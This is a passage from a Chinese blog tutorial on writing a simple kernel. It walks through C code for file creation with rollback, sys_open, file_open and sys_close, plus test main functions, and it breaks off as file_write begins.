class="line"></span><br><span class="line">   <span class="comment">/* 执行到此,必然是遍历了完整路径并且查找的文件或目录只有同名目录存在 */</span></span><br><span class="line">   dir_close(searched_record-&gt;parent_dir);      </span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 保存被查找目录的直接父目录 */</span></span><br><span class="line">   searched_record-&gt;parent_dir = dir_open(cur_part, parent_inode_no);   </span><br><span class="line">   searched_record-&gt;file_type = FT_DIRECTORY;</span><br><span class="line">   <span class="keyword">return</span> dir_e.i_no;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="创建文件"><a href="#创建文件" class="headerlink" title="创建文件"></a>创建文件</h2><p>首先我们需要实现file_create函数，在实现之前先梳理创建文件的过程：</p><ol><li>inode负责描述文件的属性，所以首先为文件创建inode，该过程需要向inode的管理单元inode_bitmap申请inode号，并更新inode_bitmap</li><li>确定文件存储的扇区地址，这个需要在block_bitmap中申请可用的块，并更新block_bitmap</li><li>新增的文件必然位于某个目录中，所以该目录的目录项数量要加1，并且要将新增的目录项写入目录对应的扇区中，如果原有的扇区已满，需要申请新扇区来存储目录项</li><li>若其中某步失败则回滚之前成功的操作</li><li>将上面过程中被改变的数据写入硬盘中</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 创建文件,若成功则返回文件描述符,否则返回-1 */</span></span><br><span class="line"><span class="keyword">int32_t</span> file_create(struct dir* parent_dir, <span class="keyword">char</span>* filename, <span class="keyword">uint8_t</span> flag) &#123;</span><br><span class="line">   <span class="comment">/* 后续操作的公共缓冲区 */</span></span><br><span class="line">   <span class="keyword">void</span>* io_buf = sys_malloc(<span class="number">1024</span>);</span><br><span class="line">   <span class="keyword">if</span> (io_buf == <span class="literal">NULL</span>) &#123;</span><br><span class="line">      printk(<span class="string">"in file_creat: sys_malloc for io_buf failed\n"</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint8_t</span> rollback_step = <span class="number">0</span>;       <span class="comment">// 用于操作失败时回滚各资源状态</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 为新文件分配inode */</span></span><br><span class="line">   <span class="keyword">int32_t</span> inode_no = inode_bitmap_alloc(cur_part); </span><br><span class="line">   <span class="keyword">if</span> (inode_no == <span class="number">-1</span>) &#123;</span><br><span class="line">      printk(<span class="string">"in file_creat: allocate inode failed\n"</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 此inode要从堆中申请内存,不可生成局部变量(函数退出时会释放)</span></span><br><span class="line"><span class="comment"> * 因为file_table数组中的文件描述符的inode指针要指向它.*/</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">inode</span>* <span class="title">new_file_inode</span> = (<span class="title">struct</span> <span class="title">inode</span>*)<span class="title">sys_malloc</span>(<span class="title">sizeof</span>(<span class="title">struct</span> <span class="title">inode</span>));</span> </span><br><span class="line">   <span class="keyword">if</span> (new_file_inode == <span class="literal">NULL</span>) &#123;</span><br><span class="line">      printk(<span class="string">"file_create: sys_malloc for inode failded\n"</span>);</span><br><span class="line">      rollback_step = <span class="number">1</span>;</span><br><span class="line">      <span class="keyword">goto</span> rollback;</span><br><span class="line">   &#125;</span><br><span class="line">   inode_init(inode_no, new_file_inode);    <span class="comment">// 初始化i结点</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 返回的是file_table数组的下标 */</span></span><br><span class="line">   <span class="keyword">int</span> fd_idx = get_free_slot_in_global();</span><br><span class="line">   <span class="keyword">if</span> (fd_idx == <span class="number">-1</span>) &#123;</span><br><span class="line">      printk(<span class="string">"exceed max open files\n"</span>);</span><br><span class="line">      rollback_step = <span class="number">2</span>;</span><br><span class="line">      <span class="keyword">goto</span> rollback;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   file_table[fd_idx].fd_inode = new_file_inode;</span><br><span class="line">   file_table[fd_idx].fd_pos = <span class="number">0</span>;</span><br><span class="line">   file_table[fd_idx].fd_flag = flag;</span><br><span class="line">   file_table[fd_idx].fd_inode-&gt;write_deny = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir_entry</span> <span class="title">new_dir_entry</span>;</span></span><br><span class="line">   <span class="built_in">memset</span>(&amp;new_dir_entry, <span class="number">0</span>, <span class="keyword">sizeof</span>(struct dir_entry));</span><br><span class="line"></span><br><span class="line">   create_dir_entry(filename, inode_no, FT_REGULAR, &amp;new_dir_entry);<span class="comment">// create_dir_entry只是内存操作不出意外,不会返回失败</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 同步内存数据到硬盘 */</span></span><br><span class="line">   <span class="comment">/* a 在目录parent_dir下安装目录项new_dir_entry, 写入硬盘后返回true,否则false */</span></span><br><span class="line">   <span class="keyword">if</span> (!sync_dir_entry(parent_dir, &amp;new_dir_entry, io_buf)) &#123;</span><br><span class="line">      printk(<span class="string">"sync dir_entry to disk failed\n"</span>);</span><br><span class="line">      rollback_step = <span class="number">3</span>;</span><br><span class="line">      <span class="keyword">goto</span> rollback;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="built_in">memset</span>(io_buf, <span class="number">0</span>, <span class="number">1024</span>);</span><br><span class="line">   <span class="comment">/* b 将父目录i结点的内容同步到硬盘 */</span></span><br><span class="line">   inode_sync(cur_part, parent_dir-&gt;inode, io_buf);</span><br><span class="line"></span><br><span class="line">   <span class="built_in">memset</span>(io_buf, <span class="number">0</span>, <span class="number">1024</span>);</span><br><span class="line">   <span class="comment">/* c 将新创建文件的i结点内容同步到硬盘 */</span></span><br><span class="line">   inode_sync(cur_part, new_file_inode, io_buf);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* d 将inode_bitmap位图同步到硬盘 */</span></span><br><span class="line">   bitmap_sync(cur_part, inode_no, INODE_BITMAP);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* e 将创建的文件i结点添加到open_inodes链表 */</span></span><br><span class="line">   list_push(&amp;cur_part-&gt;open_inodes, &amp;new_file_inode-&gt;inode_tag);</span><br><span class="line">   new_file_inode-&gt;i_open_cnts = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">   sys_free(io_buf);</span><br><span class="line">   <span class="keyword">return</span> pcb_fd_install(fd_idx);</span><br><span class="line"></span><br><span class="line"><span class="comment">/*创建文件需要创建相关的多个资源,若某步失败则会执行到下面的回滚步骤 */</span></span><br><span class="line">rollback:</span><br><span class="line">   <span class="keyword">switch</span> (rollback_step) &#123;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line"> <span class="comment">/* 失败时,将file_table中的相应位清空 */</span></span><br><span class="line"> <span class="built_in">memset</span>(&amp;file_table[fd_idx], <span class="number">0</span>, <span class="keyword">sizeof</span>(struct file)); </span><br><span class="line">      <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line"> sys_free(new_file_inode);</span><br><span class="line">      <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line"> <span class="comment">/* 如果新文件的i结点创建失败,之前位图中分配的inode_no也要恢复 */</span></span><br><span class="line"> bitmap_set(&amp;cur_part-&gt;inode_bitmap, inode_no, <span class="number">0</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   sys_free(io_buf);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实现sys-open"><a href="#实现sys-open" class="headerlink" title="实现sys_open"></a>实现sys_open</h2><p>open函数的功能相当强大，通过它的打开标志，修改其调用参数，不仅可以打开一个文件，同样可以创建一个文件，所以不单独实现create类函数，文件的创建过程中主要是对绝对路径的解析。在路径没有问题且该文件不存在的前提下，标志设置为<code>O_CREAT</code>，就会调用之前的file_create函数创建文件。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 打开或创建文件成功后,返回文件描述符,否则返回-1 */</span></span><br><span class="line"><span class="keyword">int32_t</span> sys_open(<span class="keyword">const</span> <span class="keyword">char</span>* pathname, <span class="keyword">uint8_t</span> flags) &#123;</span><br><span class="line">  <span class="comment">/* 对目录要用dir_open,这里只有open文件 */</span></span><br><span class="line">   <span class="keyword">if</span> (pathname[<span class="built_in">strlen</span>(pathname) - <span class="number">1</span>] == <span class="string">'/'</span>) &#123;</span><br><span class="line">      printk(<span class="string">"can`t open a directory %s\n"</span>,pathname);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   ASSERT(flags &lt;= <span class="number">7</span>);</span><br><span class="line">   <span class="keyword">int32_t</span> fd = <span class="number">-1</span>;   <span class="comment">// 默认为找不到</span></span><br><span class="line"></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">path_search_record</span> <span class="title">searched_record</span>;</span></span><br><span class="line">   <span class="built_in">memset</span>(&amp;searched_record, <span class="number">0</span>, <span class="keyword">sizeof</span>(struct path_search_record));</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 记录目录深度.帮助判断中间某个目录不存在的情况 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span> pathname_depth = path_depth_cnt((<span class="keyword">char</span>*)pathname);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 先检查文件是否存在 */</span></span><br><span class="line">   <span class="keyword">int</span> inode_no = search_file(pathname, &amp;searched_record);</span><br><span class="line">   <span class="keyword">bool</span> found = inode_no != <span class="number">-1</span> ? <span class="literal">true</span> : <span class="literal">false</span>; </span><br><span class="line"></span><br><span class="line">   <span class="keyword">if</span> (searched_record.file_type == FT_DIRECTORY) &#123;</span><br><span class="line">      printk(<span class="string">"can`t open a direcotry with open(), use opendir() to instead\n"</span>);</span><br><span class="line">      dir_close(searched_record.parent_dir);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint32_t</span> path_searched_depth = path_depth_cnt(searched_record.searched_path);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 先判断是否把pathname的各层目录都访问到了,即是否在某个中间目录就失败了 */</span></span><br><span class="line">   <span class="keyword">if</span> (pathname_depth != path_searched_depth) &#123;   <span class="comment">// 说明并没有访问到全部的路径,某个中间目录是不存在的</span></span><br><span class="line">      printk(<span class="string">"cannot access %s: Not a directory, subpath %s is`t exist\n"</span>, \</span><br><span class="line">    pathname, searched_record.searched_path);</span><br><span class="line">      dir_close(searched_record.parent_dir);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 若是在最后一个路径上没找到,并且并不是要创建文件,直接返回-1 */</span></span><br><span class="line">   <span class="keyword">if</span> (!found &amp;&amp; !(flags &amp; O_CREAT)) &#123;</span><br><span class="line">      printk(<span class="string">"in path %s, file %s is`t exist\n"</span>, \</span><br><span class="line">    searched_record.searched_path, \</span><br><span class="line">    (<span class="built_in">strrchr</span>(searched_record.searched_path, <span class="string">'/'</span>) + <span class="number">1</span>));</span><br><span class="line">      dir_close(searched_record.parent_dir);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125; <span class="keyword">else</span> <span class="keyword">if</span> (found &amp;&amp; flags &amp; O_CREAT) &#123;  <span class="comment">// 若要创建的文件已存在</span></span><br><span class="line">      printk(<span class="string">"%s has already exist!\n"</span>, pathname);</span><br><span class="line">      dir_close(searched_record.parent_dir);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">switch</span> (flags &amp; O_CREAT) &#123;</span><br><span class="line">      <span class="keyword">case</span> O_CREAT:</span><br><span class="line"> printk(<span class="string">"creating file\n"</span>);</span><br><span class="line"> fd = file_create(searched_record.parent_dir, (<span class="built_in">strrchr</span>(pathname, <span class="string">'/'</span>) + <span class="number">1</span>), flags);</span><br><span class="line"> dir_close(searched_record.parent_dir);</span><br><span class="line">      <span class="comment">// 其余为打开文件</span></span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 此fd是指任务pcb-&gt;fd_table数组中的元素下标,</span></span><br><span class="line"><span class="comment">    * 并不是指全局file_table中的下标 */</span></span><br><span class="line">   <span class="keyword">return</span> fd;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面修改main函数并验证</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line">   process_execute(u_prog_a, <span class="string">"u_prog_a"</span>);</span><br><span class="line">   process_execute(u_prog_b, <span class="string">"u_prog_b"</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_a"</span>, <span class="number">31</span>, k_thread_a, <span class="string">"I am thread_a"</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_b"</span>, <span class="number">31</span>, k_thread_b, <span class="string">"I am thread_b"</span>);</span><br><span class="line">   sys_open(<span class="string">"/file1"</span>, O_CREAT);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试结果如下，第二次运行显示文件已经存在</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/96.png" alt="image-20200612181835991"></p><p>接下来我们需要继续改进sys_open，使其支持更多功能，打开文件的核心操作是file_open，实现如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 打开编号为inode_no的inode对应的文件,若成功则返回文件描述符,否则返回-1 */</span></span><br><span class="line"><span class="keyword">int32_t</span> file_open(<span class="keyword">uint32_t</span> inode_no, <span class="keyword">uint8_t</span> flag) &#123;</span><br><span class="line">   <span class="keyword">int</span> fd_idx = get_free_slot_in_global();</span><br><span class="line">   <span class="keyword">if</span> (fd_idx == <span class="number">-1</span>) &#123;</span><br><span class="line">      printk(<span class="string">"exceed max open files\n"</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   file_table[fd_idx].fd_inode = inode_open(cur_part, inode_no);</span><br><span class="line">   file_table[fd_idx].fd_pos = <span class="number">0</span>;     <span class="comment">// 每次打开文件,要将fd_pos还原为0,即让文件内的指针指向开头</span></span><br><span class="line">   file_table[fd_idx].fd_flag = flag;</span><br><span class="line">   <span class="keyword">bool</span>* write_deny = &amp;file_table[fd_idx].fd_inode-&gt;write_deny; </span><br><span class="line"></span><br><span class="line">   <span class="keyword">if</span> (flag &amp; O_WRONLY || flag &amp; O_RDWR) &#123;<span class="comment">// 只要是关于写文件,判断是否有其它进程正写此文件</span></span><br><span class="line"><span class="comment">// 若是读文件,不考虑write_deny</span></span><br><span class="line">   <span class="comment">/* 以下进入临界区前先关中断 */</span></span><br><span class="line">      <span class="keyword">enum</span> intr_status old_status = intr_disable();</span><br><span class="line">      <span class="keyword">if</span> (!(*write_deny)) &#123;    <span class="comment">// 若当前没有其它进程写该文件,将其占用.</span></span><br><span class="line"> *write_deny = <span class="literal">true</span>;   <span class="comment">// 置为true,避免多个进程同时写此文件</span></span><br><span class="line"> intr_set_status(old_status);  <span class="comment">// 恢复中断</span></span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;<span class="comment">// 直接失败返回</span></span><br><span class="line"> intr_set_status(old_status);</span><br><span class="line"> printk(<span class="string">"file can`t be write now, try again later\n"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;  <span class="comment">// 若是读文件或创建文件,不用理会write_deny,保持默认</span></span><br><span class="line">   <span class="keyword">return</span> pcb_fd_install(fd_idx);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>sys_open中增加一个case判断</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">switch</span> (flags &amp; O_CREAT) &#123;</span><br><span class="line">   <span class="keyword">case</span> O_CREAT:</span><br><span class="line">printk(<span class="string">"creating file\n"</span>);</span><br><span class="line">fd = file_create(searched_record.parent_dir, (<span class="built_in">strrchr</span>(pathname, <span class="string">'/'</span>) + <span class="number">1</span>), flags);</span><br><span class="line">dir_close(searched_record.parent_dir);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">   <span class="keyword">default</span>:</span><br><span class="line"><span class="comment">/* 其余情况均为打开已存在文件:</span></span><br><span class="line"><span class="comment"> * O_RDONLY,O_WRONLY,O_RDWR */</span></span><br><span class="line">fd = file_open(inode_no, flags);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实现sys-close"><a href="#实现sys-close" class="headerlink" title="实现sys_close"></a>实现sys_close</h2><p>close函数原型是<code>int close(int fd)</code>，其底层核心是file_close</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 关闭文件 */</span></span><br><span class="line"><span class="keyword">int32_t</span> file_close(struct file* file) &#123;</span><br><span class="line">   <span class="keyword">if</span> (file == <span class="literal">NULL</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   file-&gt;fd_inode-&gt;write_deny = <span class="literal">false</span>;</span><br><span class="line">   inode_close(file-&gt;fd_inode);</span><br><span class="line">   file-&gt;fd_inode = <span class="literal">NULL</span>;   <span class="comment">// 使文件结构可用</span></span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>sys_close实现如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 将文件描述符转化为文件表的下标 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> uint32_t <span class="title">fd_local2global</span><span class="params">(<span class="keyword">uint32_t</span> local_fd)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">cur</span> = <span class="title">running_thread</span>();</span></span><br><span class="line">   <span class="keyword">int32_t</span> global_fd = cur-&gt;fd_table[local_fd];  </span><br><span class="line">   ASSERT(global_fd &gt;= <span class="number">0</span> &amp;&amp; global_fd &lt; MAX_FILE_OPEN);</span><br><span class="line">   <span class="keyword">return</span> (<span class="keyword">uint32_t</span>)global_fd;</span><br><span class="line">&#125; </span><br><span class="line"></span><br><span class="line"><span class="comment">/* 关闭文件描述符fd指向的文件,成功返回0,否则返回-1 */</span></span><br><span class="line"><span class="keyword">int32_t</span> sys_close(<span class="keyword">int32_t</span> fd) &#123;</span><br><span class="line">   <span class="keyword">int32_t</span> ret = <span class="number">-1</span>;   <span class="comment">// 返回值默认为-1,即失败</span></span><br><span class="line">   <span class="keyword">if</span> (fd &gt; <span class="number">2</span>) &#123;</span><br><span class="line">      <span class="keyword">uint32_t</span> _fd = fd_local2global(fd);</span><br><span class="line">      ret = file_close(&amp;file_table[_fd]);</span><br><span class="line">      running_thread()-&gt;fd_table[fd] = <span class="number">-1</span>; <span class="comment">// 使该文件描述符位可用</span></span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> ret;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>main函数中测试一下刚才的代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line">   process_execute(u_prog_a, <span class="string">"u_prog_a"</span>);</span><br><span class="line">   process_execute(u_prog_b, <span class="string">"u_prog_b"</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_a"</span>, <span class="number">31</span>, k_thread_a, <span class="string">"I am thread_a"</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_b"</span>, <span class="number">31</span>, k_thread_b, <span class="string">"I am thread_b"</span>);</span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint32_t</span> fd = sys_open(<span class="string">"/file1"</span>, O_RDONLY);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"fd:%d\n"</span>, fd);</span><br><span class="line">   sys_close(fd);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"%d closed now\n"</span>, fd);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们成功将file1关闭</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/97.png" alt="image-20200612181835991"></p><h2 id="实现文件写入"><a href="#实现文件写入" class="headerlink" title="实现文件写入"></a>实现文件写入</h2><p>首先我们需要实现file_write函数，其作用是系统调用write的内核实现，文件最大尺寸是140个块，也就是支持140*512字节数据。写入文件时要判断是否需要分配新的数据块。如果12个直接块不够存储该数据，就分配间接块来存储，当所需的数据块分配好了之后，就会逐块的往硬盘上写入数据，直到所有的数据被写入硬盘，最后返回写入的字节数，代码略长</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span 